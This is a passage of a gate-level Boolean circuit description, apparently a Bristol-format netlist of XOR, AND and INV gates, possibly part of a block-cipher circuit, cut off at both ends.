5334 XOR +2 1 33226 5088 34787 XOR +2 1 34787 386 33507 XOR +2 1 32744 5052 34764 XOR +2 1 34764 409 33484 XOR +2 1 33492 5335 5416 XOR +2 1 33491 5335 5413 XOR +2 1 5412 5336 5339 XOR +2 1 33486 33492 5340 XOR +2 1 5334 5340 5422 XOR +2 1 5350 5422 5420 XOR +2 1 5336 33491 5295 XOR +2 1 5420 5418 5411 AND +2 1 5428 5413 5409 AND +2 1 5409 5334 5338 XOR +2 1 33491 5340 5425 XOR +2 1 33487 5425 5421 XOR +2 1 5336 5334 5296 XOR +2 1 5333 5296 5417 XOR +2 1 33486 5295 5424 XOR +2 1 5424 33486 5410 AND +2 1 5425 5421 5408 AND +2 1 5427 5416 5406 AND +2 1 5406 5335 5337 XOR +2 1 5339 5337 5343 XOR +2 1 33493 5343 5348 XOR +2 1 5426 5417 5404 AND +2 1 5404 5410 5362 XOR +2 1 5362 5334 5349 XOR +2 1 5343 5362 5311 XOR +2 1 33491 5311 5354 XOR +2 1 5473 5569 5554 XOR +2 1 5334 5429 5414 XOR +2 1 5429 5414 5405 AND +2 1 5405 5411 5357 XOR +2 1 5405 5406 5309 XOR +2 1 5309 5310 5356 XOR +2 1 5356 5338 5355 XOR +2 1 5408 5355 5402 XOR +2 1 5340 5335 5415 XOR +2 1 5422 5415 5407 AND +2 1 5404 5407 5358 XOR +2 1 5405 5358 5352 XOR +2 1 5408 5352 5308 XOR +2 1 33487 5308 5395 XOR +2 1 5338 5358 5312 XOR +2 1 5312 5337 5401 XOR +2 1 33499 5479 5565 XOR +2 1 33495 5565 5561 XOR +2 1 5565 5561 5548 AND +2 1 5357 5349 5400 XOR +2 1 5475 5473 5435 XOR +2 1 5472 5435 5557 XOR +2 1 5475 33499 5434 XOR +2 1 5473 5479 5562 XOR +2 1 5489 5562 5560 XOR +2 1 5560 5558 5551 AND +2 1 33494 5434 5564 XOR +2 1 5564 33494 5550 AND +2 1 5568 5553 5549 AND +2 1 5549 5473 5477 XOR +2 1 5562 5555 5547 AND +2 1 5569 5554 5545 AND +2 1 5545 5551 5496 XOR +2 1 5496 5487 5543 XOR +2 1 5545 5546 5448 XOR +2 1 5448 5449 5495 XOR +2 1 5495 5477 5494 XOR +2 1 5548 5494 5542 XOR +2 1 5543 5542 5539 AND +2 1 5566 5557 5544 AND +2 1 5544 5547 5497 XOR +2 1 5544 5550 5501 XOR +2 1 5501 5473 5488 XOR +2 1 5496 5488 5540 XOR +2 1 5545 5497 5491 XOR +2 1 5548 5491 5447 XOR +2 1 33495 5447 5535 XOR +2 1 5477 5497 5451 XOR +2 1 5451 5476 5541 XOR +2 1 5482 5501 5450 XOR +2 1 33499 5450 5493 XOR +2 1 5539 5493 5534 XOR +2 1 5534 5535 5533 AND +2 1 5533 5541 5532 XOR +2 1 5539 5533 5531 XOR +2 1 5532 5564 5509 AND +2 1 5541 5531 5530 AND +2 1 5530 5548 5500 XOR +2 1 5500 5494 5522 XOR +2 1 33495 5500 5483 XOR +2 1 5522 5563 5511 AND +2 1 5533 5491 5446 XOR +2 1 5483 5446 5529 XOR +2 1 5533 5550 5445 XOR +2 1 5539 5541 5538 XOR +2 1 5530 5538 5528 XOR +2 1 5540 5538 5537 AND +2 1 5537 5493 5536 XOR +2 1 5537 5487 5439 XOR +2 1 5537 5549 5442 XOR +2 1 5536 5562 5506 AND +2 1 5536 5555 5515 AND +2 1 5536 5528 5527 AND +2 1 5527 5551 5444 XOR +2 1 5483 5444 5436 XOR +2 1 5473 5436 5443 XOR +2 1 5442 5478 5438 XOR +2 1 33499 5438 5437 XOR +2 1 5436 5437 5521 XOR +2 1 5521 5554 5513 AND +2 1 5521 5569 5504 AND +2 1 5527 5496 5486 XOR +2 1 5486 5488 5526 XOR +2 1 5526 5561 5507 AND +2 1 5515 5507 5471 XOR +2 1 5526 5565 5516 AND +2 1 5513 5516 5468 XOR +1 1 5468 5465 INV +2 1 5486 5439 5523 XOR +2 1 5515 5516 5453 XOR +2 1 5445 5547 5440 XOR +2 1 5440 5443 5525 XOR +2 1 5525 5557 5512 AND +2 1 33501 5438 5441 XOR +2 1 5440 5441 5524 XOR +2 1 5522 5559 5520 AND +2 1 5529 5558 5519 AND +2 1 5532 33494 5518 AND +2 1 5518 5520 5499 XOR +2 1 5523 5553 5517 AND +2 1 5516 5517 5502 XOR +2 1 5513 5502 5492 XOR +2 1 5509 5492 5458 XOR +1 1 5458 5455 INV +2 1 5524 5556 5514 AND +2 1 5513 5514 5464 XOR +2 1 5514 5492 5452 XOR +2 1 5529 5560 5510 AND +2 1 5523 5568 5508 AND +2 1 5517 5508 5469 XOR +2 1 5508 5512 5484 XOR +1 1 5484 5462 INV +2 1 5462 5506 5461 XOR +2 1 5461 5499 5457 XOR +2 1 5524 5567 5505 AND +2 1 5504 5505 5498 XOR +2 1 5510 5498 5480 XOR +2 1 5511 5480 5481 XOR +2 1 5481 5452 35005 XOR +2 1 5471 5498 5467 XOR +2 1 5499 5467 5470 XOR +2 1 5505 5457 5460 XOR +2 1 5469 5470 5573 XOR +2 1 5480 5457 5456 XOR +2 1 5455 5456 35002 XOR +2 1 5519 5481 5485 XOR +2 1 5518 5485 5454 XOR +2 1 5520 5485 5490 XOR +2 1 5502 5490 35004 XOR +2 1 5490 5464 5571 XOR +2 1 5453 5454 35003 XOR +2 1 5462 5467 5466 XOR +2 1 5465 5466 5572 XOR +2 1 5572 32988 5618 XOR +1 1 5572 35001 INV +2 1 5525 5566 5503 AND +2 1 5514 5503 5463 XOR +1 1 5463 5459 INV +2 1 5459 5460 5570 XOR +2 1 5357 5348 5403 XOR +2 1 5403 5402 5399 AND +2 1 5399 5401 5398 XOR +2 1 5400 5398 5397 AND +2 1 5399 5354 5394 XOR +2 1 5394 5395 5393 AND +2 1 5393 5401 5392 XOR +2 1 5393 5352 5307 XOR +2 1 5392 5424 5369 AND +2 1 5392 33486 5378 AND +2 1 5397 5409 5303 XOR +2 1 5303 5339 5299 XOR +2 1 33491 5299 5298 XOR +2 1 33493 5299 5302 XOR +2 1 5393 5410 5306 XOR +2 1 5306 5407 5301 XOR +2 1 5301 5302 5384 XOR +2 1 5384 5427 5365 AND +2 1 5384 5416 5374 AND +2 1 5397 5348 5300 XOR +2 1 5399 5393 5391 XOR +2 1 5401 5391 5390 AND +2 1 5390 5408 5361 XOR +2 1 5361 5355 5382 XOR +2 1 5382 5423 5371 AND +2 1 33487 5361 5344 XOR +2 1 5344 5307 5389 XOR +2 1 5389 5420 5370 AND +2 1 5389 5418 5379 AND +2 1 5382 5419 5380 AND +2 1 5378 5380 5360 XOR +2 1 5397 5354 5396 XOR +2 1 5396 5422 5366 AND +2 1 5396 5415 5375 AND +2 1 33484 21920 22001 XOR +2 1 33482 33484 21921 XOR +2 1 33478 33484 21925 XOR +2 1 21925 21920 22000 XOR +2 1 33483 21925 22010 XOR +2 1 33479 22010 22006 XOR +2 1 21921 33483 21880 XOR +2 1 33478 21880 22009 XOR +2 1 22009 33478 21995 AND +2 1 22010 22006 21993 AND +2 1 5390 5398 5388 XOR +2 1 5396 5388 5387 AND +2 1 5387 5411 5305 XOR +2 1 5344 5305 5297 XOR +2 1 5297 5298 5381 XOR +2 1 5381 5429 5364 AND +2 1 5381 5414 5373 AND +2 1 5373 5374 5325 XOR +2 1 5334 5297 5304 XOR +2 1 5301 5304 5385 XOR +2 1 5385 5417 5372 AND +2 1 5385 5426 5363 AND +2 1 5374 5363 5324 XOR +1 1 5324 5320 INV +2 1 5387 5357 5347 XOR +2 1 5347 5300 5383 XOR +2 1 5383 5428 5368 AND +2 1 5368 5372 5345 XOR +1 1 5345 5323 INV +2 1 5323 5366 5322 XOR +2 1 5322 5360 5318 XOR +2 1 5365 5318 5321 XOR +2 1 5320 5321 5430 XOR +2 1 5383 5413 5377 AND +2 1 5377 5368 5330 XOR +2 1 5347 5349 5386 XOR +2 1 5386 5421 5367 AND +2 1 5375 5367 5332 XOR +2 1 5386 5425 5376 AND +2 1 5373 5376 5329 XOR +1 1 5329 5326 INV +2 1 5375 5376 5314 XOR +2 1 5364 5365 5359 XOR +2 1 5332 5359 5328 XOR +2 1 5323 5328 5327 XOR +2 1 5326 5327 5432 XOR +2 1 5432 32905 5581 XOR +2 1 5580 5581 5914 XOR +2 1 5914 5859 34896 XOR +2 1 34896 350 33543 XOR +1 1 5432 35015 INV +2 1 32912 35015 5865 XOR +2 1 33020 5432 5713 XOR +2 1 5865 5863 5703 XOR +2 1 5703 5704 34920 XOR +2 1 34920 326 33567 XOR +2 1 5360 5328 5331 XOR +2 1 5330 5331 5433 XOR +2 1 5370 5359 5341 XOR +2 1 5341 5318 5317 XOR +2 1 5371 5341 5342 XOR +2 1 5379 5342 5346 XOR +2 1 5380 5346 5351 XOR +2 1 5351 5325 5431 XOR +2 1 5378 5346 5315 XOR +2 1 5314 5315 35017 XOR +1 1 35017 5585 INV +2 1 5585 35011 5584 XOR +2 1 5583 5584 5913 XOR +2 1 5913 5851 34898 XOR +2 1 34898 348 33545 XOR +2 1 33543 33545 14968 XOR +2 1 35021 5585 5597 XOR +2 1 35012 35017 5858 XOR +1 1 5858 5722 INV +1 1 35002 5625 INV +2 1 35003 5625 5624 XOR +2 1 5865 5856 5725 XOR +2 1 35011 5725 34905 XOR +2 1 34905 341 33552 XOR +2 1 32987 5625 5803 XOR +2 1 5722 5846 5720 XOR +2 1 33507 33509 23448 XOR +2 1 23448 23543 23528 XOR +2 1 23448 23454 23536 XOR +2 1 33507 23454 23539 XOR +2 1 23450 23448 23410 XOR +2 1 23450 33507 23409 XOR +2 1 33502 23409 23538 XOR +2 1 23538 33502 23524 AND +2 1 23543 23528 23519 AND +2 1 5376 5377 32651 XOR +2 1 5373 32651 5353 XOR +2 1 5369 5353 5319 XOR +2 1 5374 5353 5313 XOR +1 1 5319 5316 INV +2 1 5316 5317 35016 XOR +2 1 35011 35016 5861 XOR +2 1 5861 5859 5702 XOR +2 1 35020 5702 34921 XOR +1 1 5861 5714 INV +2 1 5714 5851 5723 XOR +2 1 5714 35024 5712 XOR +2 1 5712 5713 34913 XOR +2 1 34913 333 33560 XOR +2 1 35016 32912 5740 XOR +2 1 35020 35016 5595 XOR +2 1 5739 5740 34897 XOR +2 1 34897 349 33544 XOR +2 1 33543 33544 14985 XOR +2 1 34921 325 33568 XOR +2 1 33567 33568 23325 XOR +2 1 33544 14968 14970 XOR +2 1 33545 33544 14945 XOR +2 1 5342 5313 35019 XOR +2 1 35014 35019 5826 XOR +2 1 5826 32940 5689 XOR +2 1 5689 5690 34926 XOR +2 1 34926 320 33573 XOR +1 1 5826 5918 INV +2 1 5918 35012 5724 XOR +2 1 5723 5724 34906 XOR +2 1 34906 340 33553 XOR +2 1 33553 33552 18142 XOR +2 1 5863 5826 5729 XOR +2 1 32905 5729 34903 XOR +2 1 34903 343 33550 XOR +2 1 5918 35013 5721 XOR +2 1 5720 5721 34907 XOR +2 1 34907 339 33554 XOR +2 1 33552 33554 18261 XOR +2 1 33573 33567 23403 XOR +2 1 33573 33568 23401 XOR +2 1 5918 32912 5728 XOR +2 1 35019 35023 5833 XOR +2 1 5833 35025 5594 XOR +2 1 5833 32933 5592 XOR +1 1 5833 5598 INV +2 1 5598 35026 5596 XOR +2 1 5596 5597 5907 XOR +2 1 5594 5595 5908 XOR +2 1 5908 5858 34914 XOR +2 1 34914 332 33561 XOR +2 1 33561 33560 19949 XOR +2 1 35019 5734 34902 XOR +2 1 34902 344 33549 XOR +2 1 33549 33544 15061 XOR +2 1 33549 33543 15063 XOR +2 1 32651 5351 35018 XOR +2 1 35018 35012 5587 XOR +2 1 5586 5587 5912 XOR +2 1 5912 5846 34899 XOR +2 1 34899 347 33546 XOR +2 1 33546 33549 15062 XOR +2 1 15062 14985 15058 XOR +2 1 14968 15062 15054 XOR +2 1 33544 33546 15064 XOR +2 1 15054 15058 15047 AND +2 1 35013 35018 5854 XOR +2 1 5907 5854 34915 XOR +2 1 34915 331 33562 XOR +2 1 5854 5841 5719 XOR +2 1 32910 5719 34908 XOR +2 1 34908 338 33555 XOR +2 1 33560 33562 20068 XOR +1 1 5854 5696 INV +2 1 5696 5851 5693 XOR +2 1 5693 5694 34923 XOR +2 1 34923 323 33570 XOR +2 1 33570 33573 23402 XOR +2 1 23402 23325 23398 XOR +2 1 33568 33570 23404 XOR +2 1 5695 35018 5710 XOR +2 1 5858 5856 5700 XOR +2 1 5700 5701 34922 XOR +2 1 34922 324 33569 XOR +2 1 33567 33569 23308 XOR +2 1 33568 23308 23310 XOR +2 1 23308 23402 23394 XOR +2 1 33569 33568 23285 XOR +2 1 23394 23398 23387 AND +1 1 5431 32771 INV +2 1 32771 33019 5843 XOR +2 1 5843 5841 5691 XOR +2 1 32911 5691 34925 XOR +2 1 34925 321 33572 XOR +2 1 5843 5826 5706 XOR +2 1 35027 5706 34918 XOR +2 1 34918 328 33565 XOR +2 1 33562 33565 20066 XOR +2 1 33565 33560 20065 XOR +2 1 5843 32940 5735 XOR +2 1 5735 5736 34901 XOR +2 1 34901 345 33548 XOR +2 1 33548 14970 15051 XOR +2 1 33546 33548 14971 XOR +2 1 15047 14971 14974 XOR +2 1 15062 15051 15041 AND +2 1 15041 14970 14972 XOR +2 1 14974 14972 14978 XOR +2 1 33549 14978 14983 XOR +2 1 5825 32771 5716 XOR +2 1 5716 5717 34910 XOR +2 1 34910 336 33557 XOR +2 1 33555 33557 18166 XOR +2 1 18166 18261 18246 XOR +2 1 33554 33557 18259 XOR +2 1 33557 33552 18258 XOR +2 1 18261 18246 18237 AND +2 1 33572 23310 23391 XOR +2 1 33570 33572 23311 XOR +2 1 23387 23311 23314 XOR +2 1 23402 23391 23381 AND +2 1 23381 23310 23312 XOR +2 1 23314 23312 23318 XOR +2 1 33573 23318 23323 XOR +1 1 5433 32772 INV +2 1 33013 32772 5593 XOR +2 1 5592 5593 5909 XOR +2 1 32905 32772 5866 XOR +2 1 5866 5859 5727 XOR +2 1 5909 5865 34912 XOR +2 1 34912 334 33559 XOR +2 1 5866 5833 5715 XOR +2 1 32934 5715 34911 XOR +2 1 34911 335 33558 XOR +2 1 33559 33561 19972 XOR +2 1 33560 19972 19974 XOR +2 1 19972 20066 20058 XOR +2 1 33558 20058 20057 XOR +2 1 33559 33560 19989 XOR +2 1 20066 19989 20062 XOR +2 1 33565 33559 20067 XOR +2 1 20058 20062 20051 AND +2 1 5866 5825 5705 XOR +2 1 33013 5705 34919 XOR +2 1 34919 327 33566 XOR +2 1 32772 5741 34895 XOR +2 1 34895 351 33542 XOR +2 1 33542 15054 15053 XOR +2 1 33542 33548 14975 XOR +2 1 14975 14970 15050 XOR +2 1 5727 5728 5726 XOR +1 1 5726 34904 INV +2 1 34904 342 33551 XOR +2 1 33551 33553 18165 XOR +2 1 33552 18165 18167 XOR +2 1 33555 18167 18245 XOR +2 1 18165 18259 18251 XOR +2 1 33550 18251 18250 XOR +2 1 33551 33552 18182 XOR +2 1 18259 18182 18255 XOR +2 1 33557 33551 18260 XOR +2 1 18251 18255 18244 AND +2 1 18260 18245 18241 AND +2 1 18241 18166 18170 XOR +2 1 33566 23394 23393 XOR +2 1 33566 33572 23315 XOR +2 1 23315 23310 23390 XOR +1 1 5570 32773 INV +1 1 5571 32774 INV +1 1 5573 32775 INV +2 1 32987 32775 5622 XOR +1 1 5430 32776 INV +2 1 32776 35013 5738 XOR +2 1 32771 32776 5708 XOR +2 1 5707 5708 34917 XOR +2 1 34917 329 33564 XOR +2 1 33564 19974 20055 XOR +2 1 33562 33564 19975 XOR +2 1 20051 19975 19978 XOR +2 1 33558 33564 19979 XOR +2 1 19979 19974 20054 XOR +2 1 20066 20055 20045 AND +2 1 20045 19974 19976 XOR +2 1 19978 19976 19982 XOR +2 1 33565 19982 19987 XOR +2 1 32910 32776 5850 XOR +2 1 5850 5844 5718 XOR +2 1 5850 5846 5692 XOR +2 1 33018 5692 34924 XOR +2 1 34924 322 33571 XOR +2 1 33019 5718 34909 XOR +2 1 34909 337 33556 XOR +2 1 33556 18167 18248 XOR +2 1 33554 33556 18168 XOR +2 1 18244 18168 18171 XOR +2 1 33550 33556 18172 XOR +2 1 18172 18167 18247 XOR +2 1 18166 18172 18254 XOR +2 1 18182 18254 18252 XOR +2 1 33555 18172 18257 XOR +2 1 33551 18257 18253 XOR +2 1 18168 18166 18128 XOR +2 1 18165 18128 18249 XOR +2 1 18168 33555 18127 XOR +2 1 33550 18127 18256 XOR +2 1 18252 18250 18243 AND +2 1 18237 18243 18189 XOR +2 1 18256 33550 18242 AND +2 1 18257 18253 18240 AND +2 1 18254 18247 18239 AND +2 1 18259 18248 18238 AND +2 1 18238 18167 18169 XOR +2 1 18171 18169 18175 XOR +2 1 33557 18175 18180 XOR +2 1 18189 18180 18235 XOR +2 1 18237 18238 18141 XOR +2 1 18141 18142 18188 XOR +2 1 18188 18170 18187 XOR +2 1 18240 18187 18234 XOR +2 1 18258 18249 18236 AND +2 1 18236 18239 18190 XOR +2 1 18236 18242 18194 XOR +2 1 18194 18166 18181 XOR +2 1 18189 18181 18232 XOR +2 1 18237 18190 18184 XOR +2 1 18170 18190 18144 XOR +2 1 18144 18169 18233 XOR +2 1 18175 18194 18143 XOR +2 1 33555 18143 18186 XOR +2 1 18240 18184 18140 XOR +2 1 33551 18140 18227 XOR +2 1 18235 18234 18231 AND +2 1 18231 18186 18226 XOR +2 1 18231 18233 18230 XOR +2 1 18232 18230 18229 AND +2 1 18229 18186 18228 XOR +2 1 18229 18241 18135 XOR +2 1 18135 18171 18131 XOR +2 1 33557 18131 18134 XOR +2 1 18229 18180 18132 XOR +2 1 33555 18131 18130 XOR +2 1 18226 18227 18225 AND +2 1 18225 18233 18224 XOR +2 1 18231 18225 18223 XOR +2 1 18225 18184 18139 XOR +2 1 18225 18242 18138 XOR +2 1 18138 18239 18133 XOR +2 1 18133 18134 18216 XOR +2 1 18233 18223 18222 AND +2 1 18222 18230 18220 XOR +2 1 18222 18240 18193 XOR +2 1 18193 18187 18214 XOR +2 1 33551 18193 18176 XOR +2 1 18176 18139 18221 XOR +2 1 18228 18220 18219 AND +2 1 18219 18189 18179 XOR +2 1 18179 18181 18218 XOR +2 1 18219 18243 18137 XOR +2 1 18176 18137 18129 XOR +2 1 18166 18129 18136 XOR +2 1 18133 18136 18217 XOR +2 1 18179 18132 18215 XOR +2 1 18129 18130 18213 XOR +2 1 18214 18251 18212 AND +2 1 18221 18250 18211 AND +2 1 18224 33550 18210 AND +2 1 18210 18212 18192 XOR +2 1 18215 18245 18209 AND +2 1 18218 18257 18208 AND +2 1 18228 18247 18207 AND +2 1 18207 18208 18146 XOR +2 1 18216 18248 18206 AND +2 1 18213 18246 18205 AND +2 1 18205 18208 18161 XOR +1 1 18161 18158 INV +2 1 18205 18206 18157 XOR +2 1 18217 18249 18204 AND +2 1 18214 18255 18203 AND +2 1 18221 18252 18202 AND +2 1 18224 18256 18201 AND +2 1 18215 18260 18200 AND +2 1 18200 18204 18177 XOR +2 1 18209 18200 18162 XOR +1 1 18177 18155 INV +2 1 18218 18253 18199 AND +2 1 18207 18199 18164 XOR +2 1 18228 18254 18198 AND +2 1 18155 18198 18154 XOR +2 1 18154 18192 18150 XOR +2 1 18216 18259 18197 AND +2 1 18197 18150 18153 XOR +2 1 18213 18261 18196 AND +2 1 18196 18197 18191 XOR +2 1 18202 18191 18173 XOR +2 1 18203 18173 18174 XOR +2 1 18211 18174 18178 XOR +2 1 18212 18178 18183 XOR +2 1 18164 18191 18160 XOR +2 1 18192 18160 18163 XOR +2 1 18162 18163 18265 XOR +2 1 18155 18160 18159 XOR +2 1 18158 18159 18264 XOR +2 1 18183 18157 18263 XOR +2 1 18173 18150 18149 XOR +2 1 18210 18178 18147 XOR +2 1 18146 18147 35254 XOR +2 1 18217 18258 18195 AND +2 1 18206 18195 18156 XOR +1 1 18156 18152 INV +2 1 18152 18153 18262 XOR +2 1 5737 5738 34900 XOR +2 1 34900 346 33547 XOR +2 1 33547 14970 15048 XOR +2 1 33547 33549 14969 XOR +2 1 14969 15064 15049 XOR +2 1 14969 14975 15057 XOR +2 1 14985 15057 15055 XOR +2 1 33547 14975 15060 XOR +2 1 33543 15060 15056 XOR +2 1 14971 14969 14931 XOR +2 1 14968 14931 15052 XOR +2 1 14971 33547 14930 XOR +2 1 33542 14930 15059 XOR +2 1 15055 15053 15046 AND +2 1 15059 33542 15045 AND +2 1 15063 15048 15044 AND +2 1 15044 14969 14973 XOR +2 1 15060 15056 15043 AND +2 1 15057 15050 15042 AND +2 1 15064 15049 15040 AND +2 1 15040 15046 14992 XOR +2 1 14992 14983 15038 XOR +2 1 15040 15041 14944 XOR +2 1 14944 14945 14991 XOR +2 1 14991 14973 14990 XOR +2 1 15043 14990 15037 XOR +2 1 15061 15052 15039 AND +2 1 15039 15042 14993 XOR +2 1 15039 15045 14997 XOR +2 1 14997 14969 14984 XOR +2 1 14992 14984 15035 XOR +2 1 15040 14993 14987 XOR +2 1 14973 14993 14947 XOR +2 1 14947 14972 15036 XOR +2 1 14978 14997 14946 XOR +2 1 33547 14946 14989 XOR +2 1 15043 14987 14943 XOR +2 1 33543 14943 15030 XOR +2 1 15038 15037 15034 AND +2 1 15034 14989 15029 XOR +2 1 15034 15036 15033 XOR +2 1 15035 15033 15032 AND +2 1 15032 14989 15031 XOR +2 1 15032 15044 14938 XOR +2 1 14938 14974 14934 XOR +2 1 33549 14934 14937 XOR +2 1 15032 14983 14935 XOR +2 1 33547 14934 14933 XOR +2 1 15029 15030 15028 AND +2 1 15028 15036 15027 XOR +2 1 15034 15028 15026 XOR +2 1 15028 14987 14942 XOR +2 1 15028 15045 14941 XOR +2 1 14941 15042 14936 XOR +2 1 14936 14937 15019 XOR +2 1 15036 15026 15025 AND +2 1 15025 15033 15023 XOR +2 1 15025 15043 14996 XOR +2 1 14996 14990 15017 XOR +2 1 33543 14996 14979 XOR +2 1 14979 14942 15024 XOR +2 1 15031 15023 15022 AND +2 1 15022 14992 14982 XOR +2 1 14982 14984 15021 XOR +2 1 15022 15046 14940 XOR +2 1 14979 14940 14932 XOR +2 1 14969 14932 14939 XOR +2 1 14936 14939 15020 XOR +2 1 14982 14935 15018 XOR +2 1 14932 14933 15016 XOR +2 1 15017 15054 15015 AND +2 1 15024 15053 15014 AND +2 1 15027 33542 15013 AND +2 1 15013 15015 14995 XOR +2 1 15018 15048 15012 AND +2 1 15021 15060 15011 AND +2 1 15031 15050 15010 AND +2 1 15010 15011 14949 XOR +2 1 15019 15051 15009 AND +2 1 15016 15049 15008 AND +2 1 15008 15011 14964 XOR +1 1 14964 14961 INV +2 1 15008 15009 14960 XOR +2 1 15020 15052 15007 AND +2 1 15017 15058 15006 AND +2 1 15024 15055 15005 AND +2 1 15027 15059 15004 AND +2 1 15018 15063 15003 AND +2 1 15003 15007 14980 XOR +2 1 15012 15003 14965 XOR +1 1 14980 14958 INV +2 1 15021 15056 15002 AND +2 1 15010 15002 14967 XOR +2 1 15031 15057 15001 AND +2 1 14958 15001 14957 XOR +2 1 14957 14995 14953 XOR +2 1 15019 15062 15000 AND +2 1 15000 14953 14956 XOR +2 1 15016 15064 14999 AND +2 1 14999 15000 14994 XOR +2 1 15005 14994 14976 XOR +2 1 15006 14976 14977 XOR +2 1 15014 14977 14981 XOR +2 1 15015 14981 14986 XOR +2 1 14967 14994 14963 XOR +2 1 14995 14963 14966 XOR +2 1 14965 14966 15068 XOR +2 1 14958 14963 14962 XOR +2 1 14961 14962 15067 XOR +2 1 14986 14960 15066 XOR +2 1 14976 14953 14952 XOR +2 1 15013 14981 14950 XOR +2 1 14949 14950 35193 XOR +2 1 15020 15061 14998 AND +2 1 15009 14998 14959 XOR +1 1 14959 14955 INV +2 1 14955 14956 15065 XOR +2 1 33571 23310 23388 XOR +2 1 33571 33573 23309 XOR +2 1 23309 23404 23389 XOR +2 1 23309 23315 23397 XOR +2 1 23325 23397 23395 XOR +2 1 33571 23315 23400 XOR +2 1 33567 23400 23396 XOR +2 1 23311 23309 23271 XOR +2 1 23308 23271 23392 XOR +2 1 23311 33571 23270 XOR +2 1 33566 23270 23399 XOR +2 1 23395 23393 23386 AND +2 1 23399 33566 23385 AND +2 1 23403 23388 23384 AND +2 1 23384 23309 23313 XOR +2 1 23400 23396 23383 AND +2 1 23397 23390 23382 AND +2 1 23404 23389 23380 AND +2 1 23380 23386 23332 XOR +2 1 23332 23323 23378 XOR +2 1 23380 23381 23284 XOR +2 1 23284 23285 23331 XOR +2 1 23331 23313 23330 XOR +2 1 23383 23330 23377 XOR +2 1 23401 23392 23379 AND +2 1 23379 23382 23333 XOR +2 1 23379 23385 23337 XOR +2 1 23337 23309 23324 XOR +2 1 23332 23324 23375 XOR +2 1 23380 23333 23327 XOR +2 1 23313 23333 23287 XOR +2 1 23287 23312 23376 XOR +2 1 23318 23337 23286 XOR +2 1 33571 23286 23329 XOR +2 1 23383 23327 23283 XOR +2 1 33567 23283 23370 XOR +2 1 23378 23377 23374 AND +2 1 23374 23329 23369 XOR +2 1 23374 23376 23373 XOR +2 1 23375 23373 23372 AND +2 1 23372 23329 23371 XOR +2 1 23372 23384 23278 XOR +2 1 23278 23314 23274 XOR +2 1 33573 23274 23277 XOR +2 1 23372 23323 23275 XOR +2 1 33571 23274 23273 XOR +2 1 23369 23370 23368 AND +2 1 23368 23376 23367 XOR +2 1 23374 23368 23366 XOR +2 1 23368 23327 23282 XOR +2 1 23368 23385 23281 XOR +2 1 23281 23382 23276 XOR +2 1 23276 23277 23359 XOR +2 1 23376 23366 23365 AND +2 1 23365 23373 23363 XOR +2 1 23365 23383 23336 XOR +2 1 23336 23330 23357 XOR +2 1 33567 23336 23319 XOR +2 1 23319 23282 23364 XOR +2 1 23371 23363 23362 AND +2 1 23362 23332 23322 XOR +2 1 23322 23324 23361 XOR +2 1 23362 23386 23280 XOR +2 1 23319 23280 23272 XOR +2 1 23309 23272 23279 XOR +2 1 23276 23279 23360 XOR +2 1 23322 23275 23358 XOR +2 1 23272 23273 23356 XOR +2 1 23357 23394 23355 AND +2 1 23364 23393 23354 AND +2 1 23367 33566 23353 AND +2 1 23353 23355 23335 XOR +2 1 23358 23388 23352 AND +2 1 23361 23400 23351 AND +2 1 23371 23390 23350 AND +2 1 23350 23351 23289 XOR +2 1 23359 23391 23349 AND +2 1 23356 23389 23348 AND +2 1 23348 23351 23304 XOR +1 1 23304 23301 INV +2 1 23348 23349 23300 XOR +2 1 23360 23392 23347 AND +2 1 23357 23398 23346 AND +2 1 23364 23395 23345 AND +2 1 23367 23399 23344 AND +2 1 23358 23403 23343 AND +2 1 23343 23347 23320 XOR +2 1 23352 23343 23305 XOR +1 1 23320 23298 INV +2 1 23361 23396 23342 AND +2 1 23350 23342 23307 XOR +2 1 23371 23397 23341 AND +2 1 23298 23341 23297 XOR +2 1 23297 23335 23293 XOR +2 1 23359 23402 23340 AND +2 1 23340 23293 23296 XOR +2 1 23356 23404 23339 AND +2 1 23339 23340 23334 XOR +2 1 23345 23334 23316 XOR +2 1 23346 23316 23317 XOR +2 1 23354 23317 23321 XOR +2 1 23355 23321 23326 XOR +2 1 23307 23334 23303 XOR +2 1 23335 23303 23306 XOR +2 1 23305 23306 23408 XOR +2 1 23298 23303 23302 XOR +2 1 23301 23302 23407 XOR +2 1 23326 23300 23406 XOR +2 1 23316 23293 23292 XOR +2 1 23353 23321 23290 XOR +2 1 23289 23290 35226 XOR +2 1 23360 23401 23338 AND +2 1 23349 23338 23299 XOR +1 1 23299 23295 INV +2 1 23295 23296 23405 XOR +2 1 15011 15012 32661 XOR +2 1 32661 14986 35194 XOR +2 1 15008 32661 14988 XOR +2 1 15004 14988 14954 XOR +1 1 14954 14951 INV +2 1 14951 14952 35192 XOR +2 1 15009 14988 14948 XOR +2 1 14977 14948 35195 XOR +2 1 5850 32939 5711 XOR +1 1 5711 5709 INV +2 1 5709 5710 34916 XOR +2 1 34916 330 33563 XOR +2 1 33563 19974 20052 XOR +2 1 33563 33565 19973 XOR +2 1 19973 20068 20053 XOR +2 1 19973 19979 20061 XOR +2 1 19989 20061 20059 XOR +2 1 33563 19979 20064 XOR +2 1 33559 20064 20060 XOR +2 1 19975 19973 19935 XOR +2 1 19972 19935 20056 XOR +2 1 19975 33563 19934 XOR +2 1 33558 19934 20063 XOR +2 1 20059 20057 20050 AND +2 1 20063 33558 20049 AND +2 1 20067 20052 20048 AND +2 1 20048 19973 19977 XOR +2 1 20064 20060 20047 AND +2 1 20061 20054 20046 AND +2 1 20068 20053 20044 AND +2 1 20044 20050 19996 XOR +2 1 19996 19987 20042 XOR +2 1 20044 20045 19948 XOR +2 1 19948 19949 19995 XOR +2 1 19995 19977 19994 XOR +2 1 20047 19994 20041 XOR +2 1 20065 20056 20043 AND +2 1 20043 20046 19997 XOR +2 1 20043 20049 20001 XOR +2 1 20001 19973 19988 XOR +2 1 19996 19988 20039 XOR +2 1 20044 19997 19991 XOR +2 1 19977 19997 19951 XOR +2 1 19951 19976 20040 XOR +2 1 19982 20001 19950 XOR +2 1 33563 19950 19993 XOR +2 1 20047 19991 19947 XOR +2 1 33559 19947 20034 XOR +2 1 20042 20041 20038 AND +2 1 20038 19993 20033 XOR +2 1 20038 20040 20037 XOR +2 1 20039 20037 20036 AND +2 1 20036 19993 20035 XOR +2 1 20036 20048 19942 XOR +2 1 19942 19978 19938 XOR +2 1 33565 19938 19941 XOR +2 1 20036 19987 19939 XOR +2 1 33563 19938 19937 XOR +2 1 20033 20034 20032 AND +2 1 20032 20040 20031 XOR +2 1 20038 20032 20030 XOR +2 1 20032 19991 19946 XOR +2 1 20032 20049 19945 XOR +2 1 19945 20046 19940 XOR +2 1 19940 19941 20023 XOR +2 1 